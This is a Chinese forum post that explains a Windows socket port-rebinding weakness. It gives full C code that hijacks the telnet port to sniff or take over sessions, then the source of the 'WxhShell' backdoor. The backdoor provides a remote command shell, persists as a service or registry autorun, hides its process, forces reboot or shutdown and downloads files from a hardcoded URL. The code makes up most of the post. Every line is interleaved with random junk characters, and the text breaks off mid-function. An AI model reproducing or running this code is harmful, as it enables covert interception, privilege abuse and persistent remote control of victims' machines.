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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  Bz~h-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gP%!  
6\@, Lb  
  saddr.sin_family = AF_INET; Ls*=mh~IY  
>vy+U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b<7 qmg3  
R/|{?:r?:x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z`t?kXDNoI  
ibw;BU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >L4$DKO  
RtL'fd  
  这意味着什么?意味着可以进行如下的攻击: ~C x2Q4E  
#ySx$WT;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zSCPp6  
zxdO3I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ij_`=w<  
J)NpG9iN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MEUqQ4/Gl  
o#6}?g.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T,>e\  
|pY0IqO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lsi8?91  
s&</zU'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DBDfB b  
TKX#/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;v\n[  
:g";p.~=  
  #include  ]plC  
  #include v g]&T  
  #include &@-glF5  
  #include    l?[DO?m+R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UtrbkuT  
  int main() eGil`:JY"  
  { jU$PO\UTk  
  WORD wVersionRequested; }1dh/Cc`  
  DWORD ret; p3'+"sFU  
  WSADATA wsaData; Ex3woT-  
  BOOL val; 'CX KphlWs  
  SOCKADDR_IN saddr; kz^G.5n   
  SOCKADDR_IN scaddr; ehq6.+l  
  int err; y]_DW6W  
  SOCKET s; kn\>ZgU  
  SOCKET sc; 4KnDXQ%  
  int caddsize; cw\a,>]H  
  HANDLE mt; s-B\8&^C  
  DWORD tid;   U|nk8 6r  
  wVersionRequested = MAKEWORD( 2, 2 ); )EoG@:[  
  err = WSAStartup( wVersionRequested, &wsaData ); U9w*x/S wb  
  if ( err != 0 ) { UsTPNQj  
  printf("error!WSAStartup failed!\n"); f7'%AuSQ(  
  return -1; `upNP/,  
  } :w+Rs+R  
  saddr.sin_family = AF_INET; W#!\.m`5  
   )-@EUN0E>5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V_* ^2c)  
$((<le5-)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w3@ te\  
  saddr.sin_port = htons(23); &%lhov  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _,^sI%  
  { k$UBZ,=iC  
  printf("error!socket failed!\n"); MYDSkW  
  return -1; [H1NP'Kg]  
  } ,#G@ri:B  
  val = TRUE; ARE~jzakg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =%L^!//c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ogb_WO;)  
  { VsC]z, oV  
  printf("error!setsockopt failed!\n"); T*IudxW  
  return -1; X$* 'D)  
  } ;%1^k/b6t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KJd;c.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fHigLL0B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [3.rG!Na  
)~`zjVx_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .\VjS^o&Z&  
  { Cv|:.y  
  ret=GetLastError(); (GQy"IuFh  
  printf("error!bind failed!\n"); )nY/ RO  
  return -1; i"'k|TGW^  
  } Q%7EC>V  
  listen(s,2); g_=Q=y@,  
  while(1) &l Q j?]  
  { JI^w1I, T  
  caddsize = sizeof(scaddr); Bg`b*(Q  
  //接受连接请求 >b?,zWiw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :.dQY=6I  
  if(sc!=INVALID_SOCKET) rnr7t \a~]  
  { M(|gfsD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9K49<u0O  
  if(mt==NULL) d>%_<pw  
  { cZu:dwE  
  printf("Thread Creat Failed!\n"); )"1D-Bc\Q  
  break; U0rz 4fxc  
  } |0&S>%=  
  } H.9J}k1S  
  CloseHandle(mt); {\V)bizY;  
  } \||PW58j  
  closesocket(s); Dihk8qJ/6  
  WSACleanup(); b &JPLUr  
  return 0; 9$_}E`  
  }   +o/q@&v;Ax  
  DWORD WINAPI ClientThread(LPVOID lpParam) -X=f+4j  
  { ;02lmpBj  
  SOCKET ss = (SOCKET)lpParam; 9J?j2!D  
  SOCKET sc; ~7ArH9k .  
  unsigned char buf[4096]; {<GsM  
  SOCKADDR_IN saddr; !yxb<  
  long num; #NqA5QR  
  DWORD val; :70oO}0m.  
  DWORD ret; }LM_VZj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hE=cgO`QU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _])1P?.  
  saddr.sin_family = AF_INET; 8\yH 7H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K9*K4'#R  
  saddr.sin_port = htons(23); I@hC$o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MVdE7P  
  { F/!C=nS  
  printf("error!socket failed!\n"); #[A/zH|xvV  
  return -1; qYpHH!!C=  
  } TWn7&,N  
  val = 100; pG" 4qw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <q!{<(:  
  { vOqYt42  
  ret = GetLastError(); p* ^O 8o  
  return -1; S4|)N,#  
  } [X-Q{c4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'n=FBu ^  
  { vj#gY2qZ  
  ret = GetLastError(); Me8d o; G|  
  return -1; :dK%=j*ZK  
  } Qc3 !FW<26  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @50Js3R1q  
  { >_5D`^  
  printf("error!socket connect failed!\n"); IlaH,J7n  
  closesocket(sc); !Zs;m`j&9  
  closesocket(ss); *fjarZu  
  return -1; EqOB 0\  
  } #a/lt^}C*  
  while(1) ^m5{:\ Xk  
  { NoPM!.RU{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "r[Ea|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UboOIx5:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nrZv>r  
  num = recv(ss,buf,4096,0); Jcy`:C\Ay  
  if(num>0) @]OI(B  
  send(sc,buf,num,0); #Q;#A |EZ  
  else if(num==0) `E}2|9  
  break; //WgK{Mt  
  num = recv(sc,buf,4096,0); MM^tk{2?.  
  if(num>0) +8~S28"Wg3  
  send(ss,buf,num,0); ZI5UQH/  
  else if(num==0) ~ 9'64  
  break; /R^!~J50  
  } (=p}b:Z  
  closesocket(ss); Y}4dW'  
  closesocket(sc); \0b ",|"3  
  return 0 ; ~)()PO  
  } wl! 'Bck=  
ZkqC1u3  
z muq4-.  
========================================================== J,E&Uz95%  
`5>IvrzXrK  
下边附上一个代码,,WXhSHELL 4E"qpy \(  
%,>,J`  
========================================================== ?lbX.+  
oE5+   
#include "stdafx.h" YXBS!89m  
]H.+=V;1  
#include <stdio.h> 8fdOV&&D~i  
#include <string.h> #{N#yReh  
#include <windows.h> dAga(<K  
#include <winsock2.h> ==IL63  
#include <winsvc.h> b cOX/  
#include <urlmon.h> lMP|$C  
0{Tf;a<  
#pragma comment (lib, "Ws2_32.lib") 7\jH?Zi  
#pragma comment (lib, "urlmon.lib") OD*DHC2rN]  
QO|ODW+D  
#define MAX_USER   100 // 最大客户端连接数 M`"2;  
#define BUF_SOCK   200 // sock buffer 76c}Rk^  
#define KEY_BUFF   255 // 输入 buffer \2~.r/`1  
fV[xv4D.  
#define REBOOT     0   // 重启 /ZD/!YD&R  
#define SHUTDOWN   1   // 关机 1f~_# EIC  
^GL0|G=(1  
#define DEF_PORT   5000 // 监听端口 \)r#?qn4z;  
_)^(-}(_D  
#define REG_LEN     16   // 注册表键长度 2Q<_l*kk(  
#define SVC_LEN     80   // NT服务名长度 7O"T `>  
sba0Q[IY  
// 从dll定义API a3p|>M6E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R$PiF1ffj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d'DS7F(c{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tMupX-V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *r(iegO$  
'zRd?Z>%  
// wxhshell配置信息 &0Nd9%>  
struct WSCFG { ZVda0lex&  
  int ws_port;         // 监听端口 .llAiv  
  char ws_passstr[REG_LEN]; // 口令 *mBn''a"*  
  int ws_autoins;       // 安装标记, 1=yes 0=no na%9E8;:&v  
  char ws_regname[REG_LEN]; // 注册表键名 n) `4*d$`  
  char ws_svcname[REG_LEN]; // 服务名 JlG yGr^MD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p61"a,Xc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qB"y'UW8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |[xi"E\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mb?yG:L=0b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 40+E#z)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #bf^Pq'8  
idz6m]{~yT  
}; WqwD"WX+w  
R'&^)_  
// default Wxhshell configuration c[ =9Z;|  
struct WSCFG wscfg={DEF_PORT, JCE364$$"  
    "xuhuanlingzhe", s2&UeYbIs  
    1, [<OMv9(l'o  
    "Wxhshell", 7!Fu.Ps >  
    "Wxhshell", MQp1j:CK  
            "WxhShell Service", :qw:)i  
    "Wrsky Windows CmdShell Service", vE{QN<6T  
    "Please Input Your Password: ", cjH ~H8  
  1, d0 |Q1R+3  
  "http://www.wrsky.com/wxhshell.exe",  vUJb-  
  "Wxhshell.exe" %_} #IS1  
    }; iSHNt0Nl  
gTiDV{ Ip  
// 消息定义模块 0]NjsOU =  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _es>G'S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <g,xc)[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m;8_A|$A  
char *msg_ws_ext="\n\rExit."; B>-Iv _  
char *msg_ws_end="\n\rQuit."; #O=^%C 7p  
char *msg_ws_boot="\n\rReboot..."; (S1$g ~t;  
char *msg_ws_poff="\n\rShutdown..."; us$~6  
char *msg_ws_down="\n\rSave to "; -%"MAIJnX  
P0UMMn\-#  
char *msg_ws_err="\n\rErr!"; YjLPW@  
char *msg_ws_ok="\n\rOK!"; ;Mw9}Reh@  
hnH:G`[F  
char ExeFile[MAX_PATH]; V?%>Ex$  
int nUser = 0; IjD: hR@  
HANDLE handles[MAX_USER]; pcm|  
int OsIsNt; 4Uz6*IQNl  
5v!Uec'+  
SERVICE_STATUS       serviceStatus; @v@'8E Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gXs@FhR0  
5+giT5K*h  
// 函数声明 PDM>6U  
int Install(void); 6 3Kec  
int Uninstall(void); SO8Ej)m  
int DownloadFile(char *sURL, SOCKET wsh); I0GL/a 4s  
int Boot(int flag); Za4 YD  
void HideProc(void); Koahd =  
int GetOsVer(void); >TwOL  
int Wxhshell(SOCKET wsl); F1gDeLmJ  
void TalkWithClient(void *cs); w{#%&e(q"  
int CmdShell(SOCKET sock); +oe ~j\=  
int StartFromService(void); rTW1'@E  
int StartWxhshell(LPSTR lpCmdLine); 4hZ-^AL"(  
D)4p8-=t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R# mZYg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 80l(,0`,  
li,kW`j+t  
// 数据结构和表定义 I\`:(V  
SERVICE_TABLE_ENTRY DispatchTable[] = 29x "E$e  
{ Br1JZHgA  
{wscfg.ws_svcname, NTServiceMain}, 3l<)|!f]g  
{NULL, NULL} DEqk9Exk`  
}; <f8@Qij  
3J%jD  
// 自我安装 _ 4Hf?m7z  
int Install(void) ]-L/Of6F)|  
{ 5j,)}AYO  
  char svExeFile[MAX_PATH]; }# w>>{Q  
  HKEY key; SS(jjpe&,  
  strcpy(svExeFile,ExeFile); >Py;6K  
f5mk\^  
// 如果是win9x系统,修改注册表设为自启动 y#YCc{K [  
if(!OsIsNt) { y)Ip\.KV\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >L[,.}(9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e>sr)M  
  RegCloseKey(key); F2 >o"j2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bZ )3{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QBai;p{  
  RegCloseKey(key); ax'Dp{Q  
  return 0; &{ntx~Eq  
    } =xai 7iM  
  } - uliND  
} TS-m^Y'R  
else { 93[`1_q7\  
N[dhNK"  
// 如果是NT以上系统,安装为系统服务 7-6_`Q2}Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pZ OVD%  
if (schSCManager!=0) !\+SE"ml  
{ }[D[ZLv  
  SC_HANDLE schService = CreateService v\$XhOK  
  ( _pjpPSV6J  
  schSCManager, vnXpC!1  
  wscfg.ws_svcname, +%'0;  
  wscfg.ws_svcdisp, j"}alS`-  
  SERVICE_ALL_ACCESS, -%%2Pz0I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?%*Zgk!l7  
  SERVICE_AUTO_START, &eK8v]|"W  
  SERVICE_ERROR_NORMAL, 1u)I}"{W>  
  svExeFile, JF24~Q4P  
  NULL, }w"laZ*  
  NULL, ^J@Y?CQl\  
  NULL, {Qlvj.Xw  
  NULL, RHVMlMX  
  NULL 8~}Ti*Urc  
  ); zx0{cNPK5  
  if (schService!=0) _2U1$0xK  
  { B>|@XfPM  
  CloseServiceHandle(schService); nyTfTn  
  CloseServiceHandle(schSCManager); DQKhR sC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0m51nw~B  
  strcat(svExeFile,wscfg.ws_svcname); wQ4/eQ*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { olQ;XTa01F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  mEhVc!  
  RegCloseKey(key); =(.HO:#  
  return 0; v3.JG]zLpP  
    } -zG/@.  
  } ^om(6JL2  
  CloseServiceHandle(schSCManager); Q]IpHNt[>  
} M^k~w{   
} au0)yg*V1  
WAkKbqJV  
return 1; LGRX@nF#  
} 6W#M[0  
/,GDG=ra  
// 自我卸载 A4 o'EQ?~  
int Uninstall(void) ks 3<zW(  
{ zcP_-q]1  
  HKEY key; $6BXoh!  
&kYg >X  
if(!OsIsNt) { Rf2;O<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fag%#jxI  
  RegDeleteValue(key,wscfg.ws_regname); W[w8@OCNf  
  RegCloseKey(key); nwHi3ojD:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n\wO[l)  
  RegDeleteValue(key,wscfg.ws_regname); |brl<*:  
  RegCloseKey(key); fh}\#WE"  
  return 0; >%'|@75K  
  } E3;[*ve  
} _ z{:Q  
} r Fdq \BSi  
else { $>]7NTP  
b2r@vZ]D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gtVI>D'(W  
if (schSCManager!=0) ![{>f6{J  
{ >&Y8VLcK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :W-"UW,  
  if (schService!=0) g0: mm,t\  
  { T&H[JQ/h  
  if(DeleteService(schService)!=0) { "\Zsr6y  
  CloseServiceHandle(schService); )}0(7z Yu  
  CloseServiceHandle(schSCManager); ] bz']`  
  return 0; }*4XwUM e  
  } rn"'tvhm  
  CloseServiceHandle(schService); !iN=py  
  } NldeD2~H  
  CloseServiceHandle(schSCManager); 5A g 4o  
} PO%Z.ol9  
} dq+VW}[EO  
:aS8%m  
return 1; Y;O\ >o[  
} &^=6W3RD  
<5%x3e"7u  
// 从指定url下载文件 D(yU:^L  
int DownloadFile(char *sURL, SOCKET wsh) <7NY.zvwk]  
{ "g;^R/sfq  
  HRESULT hr; h:\WW;s[B  
char seps[]= "/"; \dO9nwa?  
char *token; A.8{LY;  
char *file; b_+dNoB  
char myURL[MAX_PATH]; (RW02%`jjy  
char myFILE[MAX_PATH]; :s`~m;Y9?  
JKN0:/t7 Q  
strcpy(myURL,sURL); }pxMO? h$  
  token=strtok(myURL,seps); :Q@=;P2  
  while(token!=NULL) ;.>CDt-E]  
  { \bNN]=  
    file=token; ByqB4Hv2  
  token=strtok(NULL,seps); 1Tz5tU9kR  
  } *{5p/}p  
In<L?U?([D  
GetCurrentDirectory(MAX_PATH,myFILE); gmtp/?>e  
strcat(myFILE, "\\"); ^NwXvp>7-  
strcat(myFILE, file); Z.TYi~d/9D  
  send(wsh,myFILE,strlen(myFILE),0); "& h;\hL  
send(wsh,"...",3,0); :$4 atm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ++=t|ZS U  
  if(hr==S_OK) KKB&)R  
return 0; gx,BF#8}  
else sx7;G^93  
return 1; YL*yiZ9  
=pSuyM'  
} r1dP9MT\8  
H&Jp,<\x  
// 系统电源模块 i8t%v  
int Boot(int flag) ^~\cx75D  
{ Vm\ly;v'R  
  HANDLE hToken; =*<Cw?Gc  
  TOKEN_PRIVILEGES tkp; kYMKVR  
I2"F2(>8K  
  if(OsIsNt) { |Rk9W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B q/<kEgM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D2<(V,h9  
    tkp.PrivilegeCount = 1; od\-o:bS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gT3i{iU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v',%   
if(flag==REBOOT) { LcL|'S)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E&js`24 &  
  return 0; +Wgp~$o4  
} (|Zah1k&]  
else { IXQxjqd^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W:5,zFW  
  return 0; fSR+~Vy  
} Zw4z`x1f  
  } CG!7BP\  
  else { MLVrL r t  
if(flag==REBOOT) { W#^W1j>_G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /<"<N<X  
  return 0; 6d%V=1^F  
} b9 Gq';o  
else { VH*4fcT'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {c|{okQ;Q  
  return 0; Wycood*  
} e#{,M8  
} :U>[*zE4&  
<,:p?36  
return 1; fm u;Pb]r  
} : _,oD  
CN(}0/  
// win9x进程隐藏模块 S8_>Lw  
void HideProc(void) Qf=+%-$Y  
{ 0<^!<i(%  
C~o\Q# *j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V$OZC;4  
  if ( hKernel != NULL ) SAQ|1I#"/  
  { z&R #j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4ju=5D];   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R}T8cVxc  
    FreeLibrary(hKernel); N?Nu'  
  } Tl/!Dn  
EklcnM|6  
return; Q)lN7oD  
} r9\7I7z  
,SVl>~!  
// 获取操作系统版本 _Qh :*j!  
int GetOsVer(void) V]{^}AKc  
{ "kdmqvTHK0  
  OSVERSIONINFO winfo; 5w^6bw){  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <F%c"Rkh  
  GetVersionEx(&winfo); |mS-<e8LY4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9$~a&lXO5  
  return 1; $eSSW+8q"  
  else (gQr?K  
  return 0; le*'GgU#  
} 3_ P<0%  
y' r I1eF  
// 客户端句柄模块 `|2p1Ei  
int Wxhshell(SOCKET wsl) azCod1aL{  
{ (\zxiK  
  SOCKET wsh; Tu[I84  
  struct sockaddr_in client; E&_q"jJRi  
  DWORD myID; mzGMYi*  
lK2=[%,~  
  while(nUser<MAX_USER) iTu~Y<'m  
{ RF|r@/S  
  int nSize=sizeof(client); Kt*kARN?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oQ{ X2\  
  if(wsh==INVALID_SOCKET) return 1; * ujJpJZ2  
tupAU$h?!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k;~*8i=%,\  
if(handles[nUser]==0) <t"KNKI  
  closesocket(wsh); ZQ)vvD<  
else PHh4ZFl]_I  
  nUser++; C9VtRq  
  } C(J+tbk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9\S,$A{{*  
d>1cKmH!  
  return 0; 14S_HwX  
} \T:*tgU  
]dd TH l  
// 关闭 socket %h9'kJzNk  
void CloseIt(SOCKET wsh) Bgf'Hm% r  
{ sz@Y$<o  
closesocket(wsh); 'S'Z-7h>0  
nUser--; Lyy:G9OV  
ExitThread(0); LKsK!X  
} RemjiCE0'  
ur| vh5  
// 客户端请求句柄 4DV@-  
void TalkWithClient(void *cs) 4%"Df1 U  
{ "59"HVV  
iu.$P-s  
  SOCKET wsh=(SOCKET)cs; ;4Wz0suf  
  char pwd[SVC_LEN]; hEk0MY  
  char cmd[KEY_BUFF]; &,%+rvo}  
char chr[1]; z:)z]6  
int i,j; MnB Hm!]&  
m_C#fR /I  
  while (nUser < MAX_USER) { m2>$)\-;  
Mq Q'Kjo  
if(wscfg.ws_passstr) { |576)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $l/w.z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V:h3F7  
  //ZeroMemory(pwd,KEY_BUFF); qE@H~&  
      i=0; Tr$37suF  
  while(i<SVC_LEN) { Rwe!xY^d8  
rvRIKc|}l  
  // 设置超时 [t+qYe8  
  fd_set FdRead; Gr|IM,5P4  
  struct timeval TimeOut; #m6W7_  
  FD_ZERO(&FdRead); >7(7  
  FD_SET(wsh,&FdRead); DP08$Iq  
  TimeOut.tv_sec=8; *f k3IvAXu  
  TimeOut.tv_usec=0; aFd87'^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D22jWm2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 39oI &D>8  
U*cWNn:."  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Ax#x  
  pwd=chr[0]; (Nn)_caVb  
  if(chr[0]==0xd || chr[0]==0xa) { (5efNugc  
  pwd=0; h{.x:pPXy  
  break; <hB~|a<#  
  } LR% P\~  
  i++;  G4{TJ,~  
    } ^Kj xQO6y3  
GK[[e~#u  
  // 如果是非法用户,关闭 socket H5/w!y@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XT{o ]S~nq  
} NUM+tg>KM  
Igb%bO_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f@H>by N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); naiy] oY"  
7f\/cS^  
while(1) { m:5x"o7)ln  
w(UZmZb}  
  ZeroMemory(cmd,KEY_BUFF); y7-dae k  
R/ 3#(5  
      // 自动支持客户端 telnet标准   1pZ[r M'}  
  j=0; ~'t+X  
  while(j<KEY_BUFF) { 17S<6j#H5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]:Sb#=,!&!  
  cmd[j]=chr[0]; `(VVb@:o  
  if(chr[0]==0xa || chr[0]==0xd) { cW?~]E'<  
  cmd[j]=0; x_OZdI  
  break; xG|n7w*  
  } 41^ $  
  j++; A1/[3Bz  
    } ?jH u,  
X,ok3c4X  
  // 下载文件 >IEc4  
  if(strstr(cmd,"http://")) { '[Z.\   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K?H(jP2mpM  
  if(DownloadFile(cmd,wsh)) W0s3nio  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?oulQR6:  
  else 7U`8W\-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u!9bhL`  
  } U'Fc\M5l/l  
  else { 4<y|SI!  
?v$1 Fc55  
    switch(cmd[0]) { K?X 6@u|h  
   !AFii:#  
  // 帮助 GL'zNQP-  
  case '?': { 5gH'CzU?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [*v- i%U}  
    break; ( Y)a`[B  
  } u\P)x~-TM  
  // 安装 ;BjJ<?^{  
  case 'i': { sT+\ z  
    if(Install()) &T[BS;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CQ^I;[=d  
    else axLO: Q,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0uO<7IW9  
    break; O*-sSf   
    } vC_O! 2E  
  // 卸载 ]]lM)  
  case 'r': { V|G[j\]E<  
    if(Uninstall()) =*Y=u6?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nj|~3 *KO  
    else q.69<Rs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ["XS|"DM  
    break; E K#ib  
    } qwDoYy yu  
  // 显示 wxhshell 所在路径 WDQw)EUl&  
  case 'p': { kG|pM54:^  
    char svExeFile[MAX_PATH]; :j( D&?ao  
    strcpy(svExeFile,"\n\r"); jG~UyzWH;  
      strcat(svExeFile,ExeFile); QE%|8UFY  
        send(wsh,svExeFile,strlen(svExeFile),0); C! J6"j  
    break; >W?7a:#,  
    } )0xEI  
  // 重启 |,OTGZgc  
  case 'b': { {GM8}M~D&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %QKRl 5RM-  
    if(Boot(REBOOT)) @iD5X.c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); et0yS%7+?@  
    else { &4-rDR,  
    closesocket(wsh); 8GFA}_(^R  
    ExitThread(0); _=68iDXm  
    } Lmw{ `R  
    break; H-Z1i  
    } {glRX R  
  // 关机 ?5#=Mh#  
  case 'd': { ^7&0P m  
